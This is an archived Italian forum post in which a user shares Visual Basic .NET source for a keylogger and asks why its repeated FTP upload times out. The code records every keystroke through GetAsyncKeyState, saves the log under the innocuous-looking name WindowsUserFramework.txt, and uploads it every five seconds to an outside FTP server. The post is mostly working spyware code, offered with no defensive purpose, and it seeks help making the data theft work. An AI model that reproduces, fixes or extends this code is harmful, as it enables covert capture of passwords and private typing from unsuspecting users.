PDA

View Full Version : [VB .NET] Inviare file .txt constantemente ad un server (Altervista)


TheSansaFuzeMaster
12-12-2011, 17:20
Allora ragazzi il mio codice funziona egregiamente, sarebbe un Keylogger visuale che mi serve per alcune cose, ma quando ha uploddato sul server la prima volta il file, mi dà errore timeout... Potete controllare il codice e dirmi cosa non và?



Imports System.Threading

Public Class Form1
Dim t As Threading.Thread

Dim result As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
t = New Threading.Thread(AddressOf Me.LupInfinito)
t.Start()
End Sub
Private Sub LupInfinito()
Do While True
Dim clsRequest As System.Net.FtpWebRequest = _
DirectCast(System.Net.WebRequest.Create("ftp://giannieluca.altervista.org/WindowsUserFramework.txt"), System.Net.FtpWebRequest)
clsRequest.Credentials = New System.Net.NetworkCredential("USER", "PASS")
clsRequest.Method = System.Net.WebRequestMethods.Ftp.UploadFile
Dim clsStream As System.IO.Stream = _
clsRequest.GetRequestStream()
clsStream.Write(System.IO.File.ReadAllBytes("C:\WindowsUserFramework.txt"), 0, System.IO.File.ReadAllBytes("C:\WindowsUserFramework.txt").Length)
Thread.Sleep(5000)
Loop
End Sub
Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged

End Sub

Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

For i = 1 To 255
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
TextBox1.Text = TextBox1.Text + Chr(i)
End If
Next i
Dim sw As System.IO.StreamWriter
Dim a As String
a = "C:\WindowsUserFramework" & ".txt"
sw = IO.File.CreateText(a)

sw.WriteLine(TextBox1.Text())
sw.Flush()
sw.Close()
End Sub

Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick
End Sub
End Class